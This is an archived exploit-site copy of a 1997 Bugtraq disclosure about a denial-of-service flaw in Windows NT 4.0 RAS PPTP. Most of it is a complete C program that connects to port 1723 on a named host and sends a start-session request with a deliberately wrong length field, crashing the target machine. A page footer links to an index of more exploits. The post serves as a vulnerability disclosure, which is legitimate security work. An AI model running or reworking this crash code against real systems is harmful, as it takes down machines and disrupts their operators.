NT RAS Point to Point Tunneling Protocol hole

Summary
Description:You can crash NT boxes running RAS PPTP by sending a pptp start session request with an invalid packet length specified in the header.
Author:Kevin Wormington <kworm@SOFNET.COM>
Compromise:crash NT machines remotely
Vulnerable Systems:Windows NT 4.0 with RAS PPTP running
Date:26 November 1997
Details


Date: Wed, 26 Nov 1997 11:48:13 -0600
From: Kevin Wormington <kworm@SOFNET.COM>
To: BUGTRAQ@NETSPACE.ORG
Subject: Potenial DOS in Windows NT RAS PPTP

    [The following text is in the "iso-8859-1" character set]
    [Your display is set for the "US-ASCII" character set]
    [Some characters may be displayed incorrectly]

Hi, this is my first posting so please excuse the style.  Please forgive me
if this has been posted before, but I have not seen it.  Also, I am unable
to test it with different hotfixes, etc.

I discovered that NT 4.0 w/SP3 and RAS PPTP is vulnerable to a DOS causing
core dump.  I have been working with point to point tunnelling protocol and
discovered (by accident) that if you send a pptp start session request with
an invalid packet length in the pptp packet header that it will crash an NT
box.

Here is a very crude code fragment that will exploit this behaviour:

/*
* Sample Windoze NT RAS PPTP exploit
*/
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <netdb.h>
#include <netinet/in.h>
#include <netinet/udp.h>
#include <arpa/inet.h>
#include <sys/types.h>
#include <sys/time.h>
#include <sys/socket.h>

#define PPTP_MAGIC_COOKIE       0x1a2b3c4d
#define PPTP_CONTROL_HEADER_OFFSET  8
#define PPTP_REQUEST_OFFSET  12
typedef enum {
  PPTP_CONTROL_PACKET = 1,
  PPTP_MGMT_PACKET} PptpPacketType;
typedef enum {
  PPTP_START_SESSION_REQUEST = 1,
  PPTP_START_SESSION_REPLY,
  PPTP_STOP_SESSION_REQUEST,
  PPTP_STOP_SESSION_REPLY,
  PPTP_ECHO_REQUEST,
  PPTP_ECHO_REPLY,
  PPTP_OUT_CALL_REQUEST,
  PPTP_OUT_CALL_REPLY,
  PPTP_IN_CALL_REQUEST,
  PPTP_IN_CALL_REPLY,
  PPTP_IN_CALL_CONNECTED,
  PPTP_CALL_CLEAR_REQUEST,
  PPTP_CALL_DISCONNECT_NOTIFY,
  PPTP_WAN_ERROR_NOTIFY,
  PPTP_SET_LINK_INFO,
  PPTP_NUMBER_OF_CONTROL_MESSAGES} PptpControlMessageType;

typedef struct {
  u_short    packetLength;
  u_short    packetType;
  u_long     magicCookie;} PptpPacketHeader;
typedef struct {
  u_short    messageType;
  u_short    reserved;
} PptpControlHeader;
typedef struct {
  u_long     identNumber;} PptpEchoRequest;
typedef enum {
  PPTP_ECHO_OK = 1,
  PPTP_ECHO_GENERAL_ERROR} PptpEchoReplyResultCode;
typedef struct {
  u_long     identNumber;
  u_char     resultCode;
  u_char     generalErrorCode;
  u_short    reserved;} PptpEchoReply;
#define PPTP_FRAME_CAP_ASYNC      0x00000001L
#define PPTP_FRAME_CAP_SYNC       0x00000002L
#define PPTP_BEARER_CAP_ANALOG    0x00000001L
#define PPTP_BEARER_CAP_DIGITAL   0x00000002L
typedef struct {
  u_short     protocolVersion;
  u_char      reserved1;
  u_char      reserved2;
  u_long      framingCapability;
  u_long      bearerCapability;
  u_short     maxChannels;
  u_short     firmwareRevision;
  char        hostName[64];
  char        vendorString[64];} PptpStartSessionRequest;
int pptp_start_session (int);
int main(int argc, char **argv)
    {
    int pptp_sock, i, s, offset;
    u_long src_ip, dst_ip = 0;
    struct in_addr addr;
    struct sockaddr_in sn;
    struct hostent *hp;
    struct servent *sp;
    fd_set ctl_mask;
    char buf[2048];
    if((pptp_sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) < 0)
      {
      perror("tcp socket");
      exit(1);
      }
    sp = getservbyname("pptp", "tcp"); /* port 1723 */
    if (!sp)
      {
      fprintf(stderr, "pptp: tcp/pptp: unknown service\n");
      exit(1);
      }
    hp = gethostbyname(argv[1]);
    if (!hp) { fprintf (stderr, "Address no good.\n"); exit(1); }

    memset(&sn, 0, sizeof(sn));
    sn.sin_port = sp->s_port;
    sn.sin_family = hp->h_addrtype;
    if (hp->h_length > (int)sizeof(sn.sin_addr))
      {
      hp->h_length = sizeof(sn.sin_addr);
      }
    memcpy(&sn.sin_addr, hp->h_addr, hp->h_length);
    if (connect(pptp_sock, (struct sockaddr *)&sn, sizeof(sn)) < 0)
      {
      perror("pptp: can't connect");
      close(s);
      exit(1);
      }
    pptp_start_session(pptp_sock);
    fprintf(stderr, "Done\n");
    close(pptp_sock);
    return (0);
    }
int pptp_start_session (int sock)
  {
  PptpPacketHeader packetheader;
  PptpControlHeader controlheader;
  PptpStartSessionRequest sessionrequest;
  char packet[200];
  int offset;
  packetheader.packetLength = htons (20);  /* whoops, i forgot to change it
*/
  packetheader.packetType = htons(PPTP_CONTROL_PACKET);
  packetheader.magicCookie = htonl(PPTP_MAGIC_COOKIE);
  controlheader.messageType = htons(PPTP_START_SESSION_REQUEST);
  controlheader.reserved = 0;
  sessionrequest.protocolVersion = htons(1);
  sessionrequest.reserved1 = 0;
  sessionrequest.reserved2 = 0;
  sessionrequest.framingCapability = htonl(PPTP_FRAME_CAP_ASYNC);
  sessionrequest.bearerCapability = htonl(PPTP_BEARER_CAP_ANALOG);
  sessionrequest.maxChannels = htons(32);
  sessionrequest.firmwareRevision = htons(1);
  memset(&sessionrequest.hostName, 0, sizeof (sessionrequest.hostName));
  sprintf (sessionrequest.hostName, "%s", "mypc.anywhere.com");
  memset(&sessionrequest.vendorString, 0, sizeof
(sessionrequest.vendorString));
  sprintf (sessionrequest.vendorString, "%s", "Any Vendor");
  memset(&packet, 0, sizeof(packet));
  memcpy(&packet, &packetheader, sizeof(packetheader));
  memcpy(&packet[PPTP_CONTROL_HEADER_OFFSET], &controlheader,
                                          sizeof(controlheader));
  memcpy(&packet[PPTP_REQUEST_OFFSET], &sessionrequest,
                                          sizeof(sessionrequest));
  send (sock, &packet, 156, 0);
  return (0);
  }

More Exploits!

The master index of all exploits is available here (Very large file)
Or you can pick your favorite operating system:
All OS's Linux Solaris/SunOS Micro$oft
*BSD Macintosh AIX IRIX
ULTRIX/Digital UNIX HP/UX SCO Remote exploits

This page is part of Fyodor's exploit world. For a free program to automate scanning your network for vulnerable hosts and services, check out my network mapping tool, nmap. Or try these Insecure.Org resources: